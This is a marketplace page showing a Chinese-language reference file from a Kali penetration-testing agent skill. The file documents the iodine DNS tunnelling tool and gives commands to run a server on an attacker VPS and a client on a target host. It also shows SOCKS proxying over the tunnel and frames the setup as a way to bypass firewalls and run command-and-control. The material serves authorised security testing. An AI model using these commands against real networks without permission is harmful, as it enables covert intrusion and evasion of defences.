x-glacier/kali-pentest / kali-pentest-zh
kali-pentest-zh
Flagged通过 SSH 或 Docker 使用 Kali Linux CLI 工具执行授权渗透测试。 覆盖:信息收集、漏洞分析、嗅探与欺骗、Web/API 渗透、漏洞利用、密码攻击、无线、云原生安全、RFID/NFC、VoIP/ICS、逆向工程、取证分析、后渗透/C2、报告生成。
references/exploitation/tools/iodine.md
View on GitHub# iodine
- **Category**: Exploitation / DNS Tunneling
- **Risk Level**: 🔴 High
---
## 描述
DNS 隧道工具,通过 DNS 服务器隧道传输 IPv4 数据。包含两个组件:`iodined`(服务端)和 `iodine`(客户端)。在两端创建虚拟网络接口(tun),实现 IP 层面的连通性。即使防火墙仅允许 DNS 流量通过也能工作,适合绕过严格的网络策略。
## 安装
```bash
sudo apt install iodine
```
## 参数说明
### iodined(服务端)
| 参数 | 说明 |
|------|------|
| `-f` | 前台运行(不转为守护进程) |
| `-c` | 禁用客户端 IP 地址检查 |
| `-P <password>` | 共享认证密码 |
| `-n <external_ip>` | 服务器公网 IP(用于 NS 委派) |
| `-m <mtu>` | 下行分片最大大小(默认:自动检测) |
| `<tunnel_ip>` | 隧道接口 IP 和子网掩码(如 `10.0.0.1/24`) |
| `<domain>` | 隧道域名(如 `t1.example.com`) |
### iodine(客户端)
| 参数 | 说明 |
|------|------|
| `-f` | 前台运行(不转为守护进程) |
| `-P <password>` | 共享认证密码 |
| `-r` | 强制 DNS 隧道模式(跳过原始 UDP) |
| `-T <type>` | DNS 记录类型:`NULL`、`PRIVATE`、`TXT`、`SRV`、`MX`、`CNAME`、`A`(默认:自动检测) |
| `-O <encoding>` | 强制下行编码:Base32、Base64、Base64u、Base128、Raw(默认:自动检测) |
| `-m <mtu>` | 下行分片最大大小(默认:自动检测) |
| `-M <maxlen>` | 上行主机名最大长度(~100-255,默认:255) |
| `-I <sec>` | 请求之间的最大间隔(默认:4 秒)防止 DNS 超时 |
| `-L 0\|1` | 懒模式:1 为低延迟(默认),0 禁用(隐含 -I1) |
| `<nameserver>` | 使用的 DNS 服务器(可选;省略则使用系统解析器) |
| `<domain>` | 隧道域名(必须与服务端匹配) |
| `-u <user>` | 设置完成后以指定用户运行 |
| `-d <device>` | 指定 tun 设备名称 |
## 常用命令
```bash
# === 服务端(在攻击者 VPS 上运行,需域名委派)===
# 前台启动 iodine 服务端
sudo iodined -f -c -P secretpass 10.0.0.1/24 t1.example.com
# 指定外部 IP 的服务端(用于 NS 记录)
sudo iodined -f -c -P secretpass -n 203.0.113.10 10.0.0.1/24 t1.example.com
# === 客户端(在目标/跳板主机上运行)===
# 使用系统 DNS 解析器连接隧道
sudo iodine -f -P secretpass t1.example.com
# 通过指定 DNS 服务器连接
sudo iodine -f -P secretpass 8.8.8.8 t1.example.com
# 强制使用特定 DNS 记录类型(TXT 通常吞吐量更高)
sudo iodine -f -P secretpass -T TXT t1.example.com
# === 建立隧道后:通过 DNS 隧道路由流量 ===
# 通过隧道进行 SSH 连接(服务端隧道 IP 为 10.0.0.1)
ssh user@10.0.0.1
# 通过 DNS 隧道建立 SOCKS 代理
ssh -D 1080 -N user@10.0.0.1
```
## 注意事项
1. DNS 隧道需要将域名的 NS 记录委派到 iodine 服务器——在 DNS 区域中配置 `t1.example.com NS iodine-server.example.com`。
2. 客户端使用 `-T TXT` 或 `-T NULL`——`NULL` 记录提供最佳吞吐量但可能被过滤;`TXT` 被更广泛允许。
3. 由于 DNS 协议开销,吞吐量有限(通常 50-500 Kbps)——适合命令与控制,不适合大量数据传输。
4. 配合 SSH 端口转发通过隧道进行加密代理:`ssh -D 1080 -N user@10.0.0.1`。
5. 客户端和服务端都需要 root 权限来创建 tun 接口。
---
## 官方参考
- [iodine GitHub](https://github.com/yarrick/iodine)
- [Kali iodine](https://www.kali.org/tools/iodine/)
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |